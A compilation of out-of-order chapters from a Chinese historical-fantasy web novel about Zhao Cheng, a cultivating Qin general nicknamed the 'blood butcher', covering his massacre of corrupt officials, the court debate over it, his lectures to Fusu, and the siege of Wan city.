赵诚话语不停,“要争斗,也得有敌人才行,当敌人全部消失,争斗自然停止。”
“所谓一个巴掌拍不响,将诸国都拍死,天下只剩秦国这一个巴掌,便再无争斗。”
“如果秦国能持之以恒,维持万世基业,那便永无战争。”
“届时,你才有仁政可以推行。”
“不然的话,孔子他老人家都没有能够阻挡住的时代洪流,你又如何阻挡?”
扶苏震怖无言,世界观在疯狂塌陷,天崩地裂。
又在飞快重塑。
所有的困惑,所有的疑问,都好似被一道恐怖的雷霆劈碎了。
但代价是——
他见到了人性的深渊,见到了利益的恐怖,见到了无法阻挡的洪流裹挟了伏尸百万而来,见到了仁政礼制的无能为力和绝望。
他终于有些明白,在这大争之世,以仁义治理人心,收效甚微,亦或毫无效果。
只有铁血征伐,雷霆手段,才能终止这时代洪流带来的阵痛。
他终于真正意识到了孔子他老人家“是知其不可而为之者与”的无能为力。
也知道了圣人真正的伟大之处。
而后,他哭了。
扶苏埋着头哭了一下午。
傍晚时分,终于站起身来融入到炼体的洪流中。
他嘶吼着拼命炼体,眼眸之中满是撕裂与决绝。
赵诚看着,冷硬之心毫无所动。
这与时代的变革是一样的,若无撕心裂肺的阵痛,便只有穷极一生的悲哀。
扶苏是嬴政之子,他该承担这些。
……
章台宫后殿上。
嬴政翻看着顿弱递上的文牍,而后陷入了久久的沉默。
半晌后,他又看了一遍,不由得问道,“这小子不是只会‘君子不重则不威’吗,他竟还懂这些?”
嬴政真的是有些震惊了。
多少博学儒士穷极一生,也看不到那浩瀚典籍之中的真相。
赵诚这个山野中长大的血屠阎罗,竟然看的如此清楚。
“如此高见……真是……”
顿弱也是找不到话语可以形容,说实话,他初听此言,也是如同被雷霆劈了脑袋一般,愣怔了许久。
嬴政再看这份文牍,只觉赵诚之言,说到了他内心最深处的想法上。
之前这些想法或许还有些朦胧混沌,无法以言语表达,他只知道如此做是最正确的方向,并愿意迎着无数骂名坚定执行。
但如今,在赵诚的这番言论之下,他终于劈开了那混沌的想法,一切都豁然开朗了起来。
儒学没错,仁政也没错,但这些与这个时代不符。
就算哪一天真的统一了天下,仁政也只能作为治理手段,而不能完全以其为核心。
“这小子就算没有惊世武力,恐怕也有其治世之才。”
嬴政感叹着,“现在好了,成了血屠……”
“寡人是暴君,赵诚是血屠,哈,哈哈哈哈……”
他似是觉得好笑,笑了一声。
笑着笑着,突又变成了畅快大笑。
这小血屠也并非为了杀而杀,而是心里比谁都明白,这是以鲜血铺就未来盛世的大道。
即便如此,这小血屠依然愿意坚定执行他的‘暴君想法’,岂非知音乎?
寡人,寡人。
孤家寡人!
可如今吾道不孤,还有个小血屠陪着吾这暴君。
也算不错。
“顿弱,你觉得孤有赵诚,如今可攻赵乎?”
“上将军神勇惊世,血衣军锐不可当,臣以为可攻赵矣。”
嬴政点了点头,“唤尉缭、王翦、蒙武来殿中议事。”
具体战局和发兵情况完全没必要问赵诚,问了也就只有一句——现在就打!
所以没必要叫他,还得是和这些老将商议才行。
……
“兄弟,听你口音不像是本地的,从上党来的?”
“是啊,你听得还怪准的嘞。”
“咱们离得不远,我是河东郡的,你们也是来寻访那神女的吧?”
“你们也是?”
“自然是啊,我们研究了半个月的传闻,推测出神女的行进路线,一定会到这咸阳城来,而咸阳城最大的酒楼就是鸿雁楼,她肯定会来的。”
“英雄所见略同啊!”
近来咸阳城里面出现了许多其他郡的公子哥亦或者是游侠儿,巨商之流,城中酒楼客栈长期爆满。
一问之下,全都是冲着姬雪儿来的。
这位赵国第一舞姬近来声名越发炽盛,就算是田间大字不识一个的老农,那也是能够说的头头是道。
将姬雪儿说的是天上少有,地上绝无的神女。
然而即使如此夸耀,那些见过姬雪儿的依然会觉得名不虚传,从无失望而归者。
这让其他人,更加好奇,寻访的人当然也是越来越多了。
这鸿雁楼二楼围栏之内,更是挤满了无数身穿锦袍,搔首弄姿的公子哥。
正这时。
一道身影白衫胜雪飘然而来,于门前惊鸿一现,已然踏入了酒楼。
仅仅是这一瞥之间,无数公子哥,亦或者是游侠儿,富商巨贾,都是呼吸一滞,失魂落魄……
第120章 姬雪儿:不入虎穴,焉得虎子?
“臣有越权之罪,请陛下削臣得爵!”
听到这话,各个文臣眼角一跳,武将更是深深闭目。
嬴政深吸一口气,“卿以为,此罪该削几爵?”
赵诚不假思索,“陛下裁定,即使削至公士,臣再上阵杀敌,灭国立功便是!”
何等底气!
何等气焰!
文臣气的跳脚,但转念一想,却还真是这么回事!
灭韩一战,两月不到,此人便是大良造了。
那赵国比之韩更强数筹,就算削到公士,灭赵之后,此人恐怕还要更进一步!
这可完了,这人如何能制?
文臣们初觉不妙,但此时还没有太放在心上。
殊不知,这句话在不久的未来,成为了他们的梦魇。
在这大殿之上,他们最怕的就是这血屠说出这句:
“臣有罪,请陛下削臣的爵!”
此时,大殿之上一片安静,嬴政静静看着赵诚不发一言,不知道在想什么。
大殿之上弥漫着威严的压迫感。
而赵诚亦如沉默的山岳一般,静立在大殿之下,巍然不动。
半晌,嬴政终于开口。
“此事,在上将军出手之前,廷尉府可有察觉?亦或者,诸卿有谁察觉到了?”
此话一出,文臣们面面相觑,都是不发一言。
李斯更是低下了头去。
嬴政轻哼一声,“廷尉府主管军功司法,狄道县令如此动摇国本之举,竟是毫无察觉,有其失察之罪!”
“罚没廷尉府上下三年俸禄,命汝等全力监察,不可再出现类似情况。”
“赵将军此举虽是扶正国本,护军心切,但确实不合法制,有越权之罪。”
“但若罪罚太重,此举震慑墨吏的效果就会大打折扣,将士们也难免寒心。”
“便削一爵,爵至少上造吧。”
“食邑、仪仗各削一级,其余不变。”
嬴政开口,尘埃落定。
众臣都没有再开口,毕竟嬴政的意思已经很明显了,大家都有问题,谁也跑不了。
现在谁跳出来,谁就也有失察之罪,到时候也得被罚。
而大良造被削至少上造,看似只削了一级,但这一级跨越之大,可是需要无尽军功的。
许多大将终其一生也未必能够跨越这一级。
所以已经算是重罚了。
只是想到赵诚攻城拔寨的勇猛,众大臣的心中难免蒙上了一层阴霾。
对于别人来说,这一级不好跨越,但是对于这血屠来说,恐怕又算不得什么。
陛下削了他的食邑和仪仗,但实际上的东西却没削多少,血衣军还是他在统领,军职依然没有变化,还是上将军。
也就是说,依然重用。
而只要大王还在重用他,他迟早会回到大良造啊。
这可如何是好?
赵诚自己也有些意外,没想到处罚这么轻,他都做好了被削四五级的准备,甚至被一撸到底也是有心理准备的。
“臣,恩谢陛下。”
……
血衣营中,众将士在拼命修炼,而扶苏则是蹲在一角,捧着一个大馍,却没有狼吞虎咽。
而是失神的看着众将士训练,目光定定的不知道在想些什么。
这几日以来,他都是如此,有些魂不守舍。
赵诚出现在血衣营中,看到这一幕,倒也没有催促扶苏。
人家老爹刚刚偏袒了自己,自己也该出点力,给人家带带孩子不是?
他走到扶苏身边,也蹲下来,如同一座小山坐在了小土包旁边。
虽然这小土包如今壮了些,但还是小土包。
和赵诚一比,依然小巫见大巫。
“在想什么?”
扶苏回过神来,见到是赵诚,抿了抿嘴,问出了自己的疑惑。
“上将军,我不明白,为什么秦国以法立国,如此严苛的律法,依然有官吏贪赃枉法,欺辱军士家眷?”
“若是如此重刑治国,都无法制止他们的这种行为,那若是仁治,又该如何杜绝?”
赵诚笑了,“天下熙熙,皆为利来;天下攘攘,皆为利往。”
“百姓如此,故军爵律可使我大秦有无上虎狼之师,诸国不敢撄锋。”
“官吏如此,故再重的刑罚,亦不可杜绝贪赃枉法,仁心又如何抵挡得住贪欲?”
“而诸国亦是如此,才有这百年乱战,惹得民不聊生。”
扶苏更是困惑,“若是如此,当年周朝礼制为何可以太平许多年,不但没有战事,百姓也能安居乐业?”
赵诚问道,“那你觉得,当年和今朝有什么关键的区别?”
扶苏说道,“是礼乐崩坏,仁心丧失?”
赵诚摇了摇头,“不,是利益变多了。”
扶苏更是困惑,“利益变多了?可这天下诸国还是天下诸国,土地依然是那些土地,哪里变多了?”
赵诚笑道,“周朝为何很少打仗?”
“因为他们的耕作效率太低,人口也少,打下再多的土地,也没有更多人力去开垦蛮荒,没有什么用处。
搞不出更多的粮食来,反而会成为国家的治理负担。”
“所以诸国不需要那些土地,也就没必要打仗,这种基于利益的克制,在周礼的话语体系中被赋予了仁德的外衣。”
“他们说,以仁政安天下,不以兵戈扰万民。
我仁德啊,我仁政啊,我为了太平盛世,我为了天下百姓,所以不去打仗。”
扶苏若有所思,细思极恐,感觉一直以来的世界观都在被颠覆。
是这样的吗?
真就如此虚伪吗?
因为无利可图才不打仗,却以仁政为名?
那他所坚持的,那些儒士博士所坚持的,原来只是一个虚伪的外衣吗?
怎可如此!
他本能的不服,追问道,“可后面为何又开始打仗了呢?”
赵诚说道,“因为铁器牛耕的普及,耕作效率提高了,人力做不到、做不完的事情,借助铁器耕牛都可以做完。”
“一个国家同样的人口下,可以开垦耕作的土地极大的扩张了。”
“所以每一个国家都可以吞下更多的土地,也不会治理不过来。”
“如此,打仗便是有利可图,各国就开始互相征伐。”
“所以,利益撕碎了仁德的外衣,持起兵戈,斩下滚滚人头。”
真相如此血淋淋,如此残忍可怖。
如同被赵诚按着脑袋凝视深渊,人性的恐怖让扶苏惊惧。
他一时无法接受。
第121章 念禾献氅承心意,赵诚携苏探雪儿
实际上,嬴政对于赵诚此举,并无愤怒不满。
在行动之前,赵诚让顿弱去报与廷尉,实则是给嬴政通气。
此事来龙去脉,顿弱在回程路上就整理清楚了,呈于嬴政。
嬴政也是震怒,这些墨吏,是在掘大秦根基!
但若是完全按照律法来治罪,却很难根除顽疾。
就算让李斯亲自处理,也有太多模糊的地方,一时半会,是绝对处理不清楚的,还可能被墨吏钻了空子,脱罪而去。
若是传开,更可能使军心不稳,后患无穷。
可不按律处理,又不符合秦国国法,要和那些大臣扯皮。
你来我往,极为麻烦。
还不如像现在这样,事都让赵诚干了,罪过也都被他一肩担了,
虽然也在扯皮,但批判的是赵诚,又不是他嬴政。
以前群臣批判争辩的,都是他嬴政定下的举措,他虽然不屑于争辩,亦可一肩担之,但听久了难免觉得麻烦。
但如今,这朝堂上,三天两头围绕赵诚批判争辩。
只能说,后继有人呐。
嬴政背脊如剑,长眸深邃,帝王威严深不可测。
实则老神在在地看着热闹。
所以赵诚这事,表面看似做得肆无忌惮,但实际上却是快刀斩乱麻。
此事如其人,亦如其军风。
简单直接,霸烈利落。
让嬴政心里也是感到一阵痛快。
此时,武将一侧,王翦当先有了动作。
他按剑上前,声如洪钟。
“陛下,赵诚虽未循廷尉旧例,然所诛者皆为蛀虫!”
“战死将士尸骨未寒,家小却被墨吏豪强夺田辱没——此等事若不严惩,前线锐士闻之寒心,谁还愿为大秦死战?”
“这是修正大秦根基之举,臣以为此功可抵其过!”
蒙武亦随之进言,语气沉凝。
“商君立军功爵制,正因‘有功必赏,有冤必雪’。
今赵诚虽有越权之举,却是为护阵亡者血功,以安三军之心。
若治其罪,恐令将士疑‘功可被夺,冤无人理’,于大局而言,极为不利!”
在他之后,更有杨端和挺身上前,语气激昂,“臣请陛下明察!”
“那县令勾结豪强,侵吞的何止是田亩?
而是锐士用命换来的军功啊!
是我大秦锐士之军心啊!
赵诚此举,是替战死袍泽讨还公道,军中皆言,此乃铁血护秦,非为私怨!”
李信再补一言,直击要害,“秦法固然严明,然军心更是国本。
今六国未灭,正需将士用命之际。
赵诚虽有过,其心可鉴:杀一儆百,令天下皆知‘辱军者虽远必诛’。
此功若掩,过罚太重,恐寒了全军将士之心!”
蒙武继而躬身。
“臣请君上罚其‘不循程序’之过,可削食邑、夺仪仗,以儆效尤。
但求留其爵位兵权——诸国未平,正需赵诚这般能镇住军心、震慑宵小之国柱!”
听到这些武将今日也开始口齿伶俐起来,一群文臣哪里肯干。
“王将军、蒙将军此言差矣!”
廷尉李斯执笏而出,语调冷峻如铁,“军心固重,法度更重!
秦之所以强于六国,非仅靠锐士,更靠‘一断于法’!
昔商君变法,立‘刑无等级’之规,便是要防‘功高者可越法’!”
李斯原本与军功爵集团关系很近,但这事关乎到以法立国的根本。
而以法立国则是他李斯成就事业的根本。
这是大道之争,自然不能相让。
赵诚此举,在他的理论体系来看,确确实实是动摇秦国根基之举。
他完全不能容忍。
御史大夫王绾紧随其后,声如金石:“赵诚护阵亡将士,其心或可谅,然其行却在毁秦之根基!
今日他以‘护军功’为由私行杀伐,明日便有人以‘安军心’为由擅调甲士,后日更有人以‘灭六国’为由要挟朝堂。
法度一旦崩坏,君权以何立之?”
淳于越也是激昂表态,“蒙将军言‘削食邑可儆效尤’,臣不敢苟同!”
“三族之刑,乃国之重典,非廷尉勘审、君王批决不可用。
今赵诚绕开廷尉、不禀君王,直接挥刀,是将‘君命’‘国法’皆踩于脚下!
此风若纵,便是告诉天下:只要理由‘正当’,便可无视律法,那商君当年立在咸阳的法碑,不如推倒算了!”
他本就看不惯赵诚的“残暴不仁”,如今赵诚更是带着扶苏行此血屠之事,他快要气死了。
现在只要能扳倒赵诚,别说帮法家说话,就算是把屁股挪到法家那边去,那也是心甘情愿!
李斯看了淳于越一眼,再次说道,“军中将士若闻‘侵田辱属者必诛’而勇,是因信秦法会为他们做主。
若闻‘赵将军私刑可复仇’而勇,那便是信‘权臣之刀’而非‘大秦之法’!
前者是忠君信法,后者是结党恃权,陛下,此中利害,关乎国本!”
这更是诛心之言。
将赵诚和秦国直接放在了对立面,嬴政若是听进去了,很可能将赵诚当做功高盖主的权臣,且这权臣军望极高,自然应该忌惮。
由此来看,当然也该重罚除之!
但让李斯看不懂的是,一向忌惮分权,警惕权臣的嬴政,此时却面色如常,丝毫没有一点受到影响。
倒是蒙武气坏了,跳出来又是一番驳斥,就差指着李斯的鼻子骂了。
“李廷尉此言,本将不敢苟同!”
“秦法之本,在‘护耕战、安社稷’。
战死将士的军功田,是法所明定的‘功赏’。
遗属不受欺凌,是律所严规的‘民安’。
今墨吏豪强联手毁法,夺功赏、辱阵亡家小,已是先坏了商君所立的耕战根本……”
自然又是一番激烈的唇枪舌剑。
嬴政在案台之后看着听着,面色如常,心思早已飞到了另一处。
该以什么由头把赵诚派出去攻赵呢?
正这时,谒者令来传,“陛下,上将军赵诚求见。”
“让他进来,且听他如何分辩。”
赵诚龙骧虎步,大步入殿。
挺拔魁躯裹挟着杀戮无数的腥风,烈烈杀伐之气如山崩洪流而来,压得满殿文臣呼吸一窒。
他如入无人之境,穿过文武百官,站在殿下,双手一合。
张口干脆道,“臣有越权之罪,请陛下削臣的爵!”
第122章 阴阳反噬迷雪儿,神行屈膝入血楼
看着那无一丝柔软踌躇的目光,扶苏的仁心突然被撼动了。
这些人的亲眷是妇孺,那些为国征战喋血沙场的将士的亲眷就不是妇孺吗?
他们付出更多,连命都拼出去了。
难道他们的老父老母,妻子儿女,还要受那些蛀虫欺压吗?
他握紧了拳头,心中所学与眼前此景剧烈对抗着。
突然,一道闪电好似划过他的脑海。
“子曰:君子不重则不威。”
“既然要下手,就必须够重,才能立起威严来!”
“大良造诚不欺我,此时若是妇人之仁,以后那些将士的亲眷,又有谁来守护?”
今日他救下这十几名孩童,未来或许就有千千万万战死沙场的将士之子受尽欺辱。
扶苏不愿去看门外惨像,也不愿看到未来有千千万万遗属受此欺辱。
而屋里,刘县令听着门外惨叫惊呼声不断,无尽血腥气飘进县廷之中,这屋子里浓郁的几乎化不开。
他浑身抖若筛糠,拼尽全力才没有让屎尿奔涌出来。
“完了!”
“完了啊!!”
“吕氏误我!本官怎会听了他们的,昏了头去做这阎王爷手下的手脚?”
“如何是好,如何是好啊!?”
“不行,我刘家至少也得留个香火!”
他余光突然瞥见县尉还站在屋子里,顿时好似看到了救星,“县尉,县尉大人,这血屠发了疯,只有你能力挽狂澜了!”
“快快调出县中兵马拦住他!他如此行径,与敌人何异?”
县尉回过神来,冷冷看了县令一眼,突然嗤笑一声,“现在知道怕了?”
“晚了!”
“上将军给过你机会,也给过他们机会,你们自己不抓住,又赖得了谁?”
“将军为我军中将士出头,我是昏了头去帮你们拦住他?”
“连你一起,这些人有一个算一个,将军没错杀一个!”
"某只能说,杀得好!"
他一按佩剑,大踏步走出门去。
独留刘县令瘫坐在地,听着庭外家眷声声求救,心如死灰。
庭外每一道声音,都让刘县令浑身肥肉剧颤一下。
比死亡更可怕的,是等待死亡的时间。
恐惧的增加好似没有上限,也没有尽头一般。
他以为外面声音最激烈时,他最害怕。
但实际上却是,那声音越是稀落,他的心里越是害怕。
当到了最安静时,他也到了最恐惧的时候。
这恐惧如同吃人一般,好似能够将其活活吓死。
但他没死,因为恐惧真的没有尽头。
赵诚身影再次踏入房间时,他才发现,原来他的恐惧,还没有达到极限,还能再上一个台阶。
魁躯身影遮蔽天光,房间昏暗。
赵诚的声音犹如阎王爷在生死簿上勾掉了他的名字,并打上了十八层地狱的标签。
“我在尸山上,给你留了位置,请刘县令入座。”
不久之前,他还谈笑风生,请赵诚入座。
如今却是赵诚请他入座,但情境已是天差地别。
那时的他,无论如何也不相信,事情会演变到如此地步。
天塌地陷也不过如此。
赵诚以绳索拖着刘县令到庭外,在其活生生吓死之前,一戟斩去了他的脑袋,不偏不倚落在尸山最上首。
而后他大戟一挥,罡风所过之处,在军爵公示碑的背面,出现了一行大字,笔锋如血。
“敢侵死士田亩、辱阵亡家小者,吾赵诚尽屠之!”
嗤的一声,改田文牍等确凿证物被一柄利剑钉在碑旁。
如同将这一县墨吏永久钉在耻辱柱上,供后人唾骂。
寒风猎猎。
大氅翻飞之际,赵诚已然策马而去,亲卫与封喉紧随其后,直奔吕氏大宅。
吕氏有一闻名周遭数县的强人,人称吕家二爷,身怀奇技,能开碑裂石。
被灵鸢一刀砍了。
而后赵诚再掀腥风血雨,吕氏百年大族,迎来灭顶之灾。
尽屠吕氏之后,赵诚回到黄家老宅,黄胜老母已经能够下床走动。
老人家第一时间要给赵诚行大礼,赵诚不受,将其扶起,令亲卫与封喉护送一家前往颍川郡,而后策马回程。
一来一去,不过一日。
但秦国上下,已然掀起轩然大波。
消息像是长了翅膀一样,飞向各个大臣的府邸。
……
“赵诚此举,形同私刑!未经廷尉勘审便夷人三族,是视秦法如草芥,视君上如无物!”
“灭韩之功固重,然法度乃国之权衡。今他持功妄为,竟代廷尉行生杀之权,长此以往,秦律威严何在?”
“放肆至极!郡县案牍自有成法,需经县道覆核、廷尉断谳方可定谳。
他一言不合便尽屠县吏豪强,是将大王亲定的‘刑不上大夫,礼不下庶人’抛诸脑后了吗?”
“今日敢越俎代庖屠灭县道,明日便敢持兵胁迫朝堂!此风绝不可长——吾等当速奏君上,劾其专擅杀伐之罪!”
赵诚此举,触碰了太多人的神经。
很快,昌平君带着楚系官员、李斯带着客卿官僚集团进宫面见秦王,要弹劾赵诚。
与此同时,王翦蒙武等大将,也各自带着麾下武将进宫,面见秦王吗,要力保赵诚。
赵诚此举,极大震慑了那些钻律法空子的墨吏,对于军方来说,绝对是有益无害。
而且,此举更是为军中将士出头,使其在军中声望更胜从前。
他们若是不来保一保赵诚,手下的将士们都不干。
却说章台宫后殿之上,群臣激愤,慷慨陈词,引经据典,痛斥赵诚。
“陛下!昔年商君立木为信,方有今日秦法严明。今上将军凭一己之怒坏法,是欲毁商君百年来创下的根基?臣请大王治其不臣之罪!”
“三族之刑,需得大王朱批、廷尉府文书齐备方可施行。
他带人直接围了县寺,刀斧齐下之时连卷宗都未曾翻阅,这与六国乱兵何异?”
“陛下,他今天敢屠戮县廷,明天就敢屠戮朝廷啊……”
嬴政坐于王位,俯瞰群臣,面色深沉,威严似海。
实则头疼不已。
还是找个由头赶紧发兵攻赵吧。
这小子才在咸阳城里面待了多久,就捅了这么个篓子出来。
再呆上两月,这些文臣就要发疯了。
第93章 有此‘凉\’相,何愁江山不覆?
“诸卿,今天上朝只论一事,便是那秦国新贵大良造赵诚!”
赵王迁的声音静静地回荡在赵国大殿之上。
群臣闻言面面相觑,赵王迁上位之后长期享乐,宠信权臣。
赵国每况日下,屡遭秦国攻打,接连丢失宜安、平阳、武城、狼孟、番吾等郡。
要不是大将李牧力挽狂澜,他们现在都不知道在秦国哪个边境服役了。
今日大王突然上朝,忧心忡忡的样子,原来是感受到了新的威胁。
群臣面面相觑之下,却没有人先开口说话。
这血屠阎罗之名已经传遍诸国,这些大臣没有不知道的,生怕一开口就被赵王拍去对付那屠子。
到时候可就骑虎难下了。
赵王迁看着下方反应,还以为众臣不了解赵诚,于是继续说道:
“此人率八千轻骑,不带辎重,八日灭韩,杀敌酷烈,锋芒无尽,所过之处,锐不可当!”
“被韩人称为血屠阎罗!”
“近来,寡人更是听闻他在秦国章台宫殿前击杀昌平君八百方士门客,其中更有多年前从燕国逃出的醉屠子。”
“可见此人武力不凡,极为勇猛。”
“如今他得到秦王赏识,令其在曾经的铁鹰锐士基础上,另建血衣军,据密谍说此军人人都修有炼体之法,而且精进奇快无比。”
“秦国虎狼之师本就难以对付。”
“如今韩灭之后,秦国更具地利,还有如此猛将,若是那血屠亲率血衣军,自韩境疾袭邯郸,又该如何抵挡?”
赵王迁忧心忡忡,实在由不得他不担心。
当初嬴政的父亲子楚被派往赵国做质子,经过长平之战,白起坑杀赵国四十五万士卒之后,秦赵便长期交恶。
子楚在邯郸的地位极为尴尬,不但生活困顿,甚至备受敌视,处处针对。
而作为他儿子的嬴政,自出生就被打上秦人标签,从小就被敌视长大。
赵王迁作为赵国上层,王室之后,对其自然更是轻蔑无比。
不但多次在公开场合,带着其他贵族子弟嘲讽其质子之子的身份,更曾找人对其进行言语侮辱,甚至推搡殴打。
就算是最基本的生活要求,也是多番刁难。
甚至给赵姬家中施压,让嬴政在其家族都不受待见,被严重排挤。
如今形势逆转,大秦如此强横,嬴政的复仇之心更是昭然若揭。
刚刚上位没多久就多次攻打赵国,可想而知,其对赵国这些高层贵族有多大的恨意。
如今韩国没了,秦具有如此地势,就算他用屁股想,那也知道用不了多久,等韩地巩固稳定下来,秦王必然攻赵。
而那血屠如日中天,秦王必然以他为锋。
可赵王迁思来想去,怎么都想不到李牧如何抵御赵诚。
之前两线作战,李牧各种回旋拉扯,才算是堪堪打退秦国的攻势。
现在好了,三线作战,就算李牧多长一个脑袋,那也是忙不过来的。
更何况那赵诚的勇猛,比秦国其他那几个猛将吓人的多了。
带着八千人,没头没脑地一路杀过去,硬是八日就把韩灭了。
换做各国哪个君王来看,那也是心惊肉跳,生怕对方哪一天突然穿插国境而入,直抵国都。
赵王迁环视群臣,发现群臣竟然一句话都不说。
他眼睛一眯,盯住了自己最宠信倚仗的郭开,“相国,你来说说。”
郭开最是明白君王心意,知道君王此时忧心忡忡,于是一脸轻松说道,“大王不必忧心,那血屠不过是徒有虚名罢了。”
“要知道,韩之军备,废弛已久,韩王与韩臣更是每日沉溺于权谋之术上,军中将士无心作战。
既如此,面对那赵诚,自然是能避则避,不愿撄锋。”
“如此一来,韩若是灭了,他们也能入秦,还留得一条性命。”
“若是没灭,他们也能够逃过罪责。”
“所以在臣看来,那血屠阎罗之名,不过是双方商量好的计谋,越是宣扬赵诚的神威,那些早就想要投降的韩军就越是没有罪责。”
“至于什么八千尽屠三万之事,恐怕都是杜撰出来的。”
“还有殿前斩杀相国八百门客之事,也是秦国为了示威而刻意宣扬。”
“那醉屠子多年前还有些厉害,如今这么多年过去,早就老得不行了,被推出来杀了示威诸国,何以证明那赵诚威势?”
“臣亦查过此人,此人说到底不过是个十六七岁的少年罢了,就算有些勇力,又哪有传闻之中的那般玄乎?”
他这一番推测,大半都是以己度人,没有什么实证。
偏偏赵王迁还很吃这一套,心中为之放心了不少。
心里舒服了,看郭开就更是顺眼了。
然而就在这个时候,春平君赵佾越众而出,“陛下,臣以为相国此言不妥,其言大多都是揣测,而没有实证。”
“秦国以军功封爵,法律严苛,若无实打实的军功,如何能够封爵大良造,又如何以十六岁少年之身,受秦王重用,率领血衣军?”
“秦王此人,极有识人之能,不会错判的,所以臣以为,此人不可不防!”
赵佾是赵孝成王之子,赵悼襄王的兄长,他多次劝谏赵王迁重用李牧、疏远奸佞,但因权力被架空而失败。
如今看到如此关键的时刻,郭开还在胡说八道,再也忍不住了。
但他这番话一出,赵王迁的眉头明显皱了起来,脸色也变得不愉快。
他刚刚松了口气,这赵佾就跳出来吓唬他?
还说秦王有识人之能?
他当初将嬴政按在地上摩擦的时候,嬴政怎么没有识人之能?
“哼!既然春平君认为此子危险,又该如何对付他呢?”
春平君说道,“此人虽然武力不俗,有万夫莫敌之勇,但这也是他的弱点,正因为其勇猛,所以战法就更偏向于勇猛冲杀。”
“我等只需要在邯郸设下针对武力强大者的大型机关,必然能够将其陷杀于阵前!”
赵王迁微微昂头,俯视春平君,“哦?若按照昌平君所说,此人有如此武力,什么样的机关才能够将其陷杀呢?”
春平君胸有成竹,“墨家的千机锁龙阵!”
第53章 灭国之功,能克复否?一人冲城,方士云羽
“大王陛下御览:
臣蒙武顿首再拜,敢以南阳战事陈明君前。
自克叶县之日,赵诚呈报称楚军星夜兼程,欲与城中残部互为犄角,图歼我师于方城之下。
……
幸有赵诚率骑卒万三千,疾驰至犨邑峡道,截其退路。
项佗壮士断腕,舍两万楚军断后,欲领三万强冲生路。
赵诚挺戟当先,独战项佗于阵前,一合之间,力挫其锋。
项佗胆裂,弃旗而遁。
赵诚乘胜追击,切阵而入,飞扬叫阵。
项佗不堪其辱回身撄锋,赵诚一戟枭首以徇。
楚军无主,遂溃于野,尽为我军所歼。
……
……
方酣战之后,赵诚犹意气风发,复领突骑三千,衔枚夜趋犨城。
其人只身伪为韩传卒,赚开城门,手刃守将,据城启关。
我军乘乱蚁附,未及三鼓,已克坚城。
此役也,赵诚勇冠三军,威振敌胆,虽古之恶来、孟贲,未易过之。
讫今累战,我军伤亡未逾万数,皆赖将士用命,尤赖赵诚之锐。
该员真乃国之利刃,所指之处,壁垒皆崩。
臣不胜庆幸,得此虎臣辅翼,愿大王重加擢用,以励三军。
臣武惶恐再拜,秦王政十六年孟冬”
嬴政看着,笑意愈甚。
早起处理朝政的疲惫都好似一扫而空,长目之中神采奕奕,英气勃发。
“自是国之利刃!”
“可笑昌平君竟还怀疑军功虚实。”
“古往今来,如此孤身连战,接连夺城,又有几例?”
他站起身来,走至大殿门口,遥望南阳方向。
许久,喃喃道:
“若能速下宛城,孤便给你第一等战机,命你为锋,疾攻新郑。”
“灭国之功,能克复否?”
……
宛城地处南阳盆地中心,四方高,中央下,故称宛,取之“灵气宛潜、富民宝地”之意。
此城周围有伏牛山和桐柏山环绕,汉水支流白河穿城而过。
号称是四战之地,北可经方城隘口直抵中原,西通武关威胁关中,南顺汉水直下江汉平原,东出随枣走廊可攻江淮。
是秦国东出灭六国的重中之重。
当然,这座天下名城的防守亦是非常坚固,城墙比叶县高厚不止一筹,城门亦是厚重,仅看其城楼,便有宏伟之感,当真是坚城重地。
如今秦军大军压境,威压三面。
宛城守将暴义,乃是韩名将暴鸢之后。
他此时已经近五十岁,已经算得上是一名老将,凭着家传,在当今权术横行的韩国算得上是唯一能够拿得出手的武将了。
但即使是他,对于此战也是非常悲观。
方城隘口也好,叶县也罢,都是他布置重兵,想要延缓秦军攻势,甚至耗损秦军力量,以求在宛城决战之时,能有一战之力。
然而秦军势如破竹,在短短十几天之内,就连破三城,兵临城下。
而秦军虎狼之师来时是十万,如今算上俘虏的随军韩奴,竟然是比十万还多了。
这仗是怎么打的?
重兵守城,让攻城的越打越多?
想到战报之上所述,暴义目光看向秦军骑兵一部。
只见那万余骑兵之前。
一名威武少年身着鎏金鳞甲,手持丈二大戟,坐于马上挺拔如枪,英武夺目。
遥遥望去,煞气逼人,其身后军阵更是军气烈烈,好似蒸腾而起,冲天崩云。
暴义手指敲了敲城砖上的霜花,长叹一声,“如此少年猛将,天要助秦乎?”
“将军莫慌,我奉家师之命到此城来,就是为了对付此人。”
一旁,一个穿着粗布衣服的青年轻声笑着,他看起来云淡风轻,一股超脱世外的气息弥漫开来。
只是与他说话,暴义那焦灼复杂的心情就会有所平复。
这让他相信眼前的青年是一个有本事的。
这青年是昨夜到的,听说是从楚地连夜赶来的能人异士。
方号云羽,师承云梦泽的隐士云梦子,不知道楚国出了什么条件,将这世外高人请了过来。
这青年看着年轻,却说自己已经是三十五岁了,不知道是不是唬人的。
但不管如何,暴义都不可能将守城的希望,寄托在一个不知道根底的方士身上。
只是,若是大战一起,那少年冲阵的话,此人或可一用。
正想着,却见那金甲小将动了,策马向着阵前蒙武一部而去。
暴义的目光随其而动。
赵诚实在是有些无聊了。
大军刚出犨城,宛城已经是严防死守,完完全全的关闭城门,连间子进城的机会都没给。
蒙武也早有预料,直接就打算三面围城,网开一面,死困宛城,硬逼对方突围,再全部歼灭。
这是耗上了。
赵诚请命两次,想要孤身攻城,都被蒙武拒绝。
理由是宛城城墙太高,城门太厚,不论是守军还是巨弩,都远非叶县可比,不让赵诚轻举妄动。
赵诚体内十个大窍之中,玉液真元滚滚涌动,似有龙象踊跃。
他掂了掂手中宝戟,看着那高大厚重的巨大金属城门,蠢蠢欲动。
策马来到蒙武军前,赵诚拱手,“末将请命,孤身强取宛城!”
蒙武无奈极了,“此事本将已经说过,不可轻举妄动。”
赵诚也很无奈,“就让末将试试,就算破不开城门,末将也可全身而退。”
蒙武沉默了片刻,终于点了头。
“好,务必保全自身,事不可为,立刻退回。”
赵诚一喜,“末将领命!”
前往宛城途中,他再次投入了大量寿命进行修炼,现如今系统之中只剩下两万年寿命,而十个大窍之中,已经盈满了玉液真元。
他体内的玉液真元,如今已经可以通过经脉透体而出,甚至覆盖在宝戟之上,爆发出无边威能!
随手一戟,亦能斩出罡风,撕裂数丈方圆。
那青铜大门,对他来说,既算不上沉重,也算不上坚固,随手可破之。
下一刻,赵诚调转马头,昂首奔出,强风拂面之际,意气风发,煞气如龙!
黑色大军如海,军阵之前,金甲一骑骤然奔出。
秦军军阵之中突然传来哗然之声,而后一阵骚动,许多将士都本能想要跟随赵诚奔出攻城!
“是赵将军!”
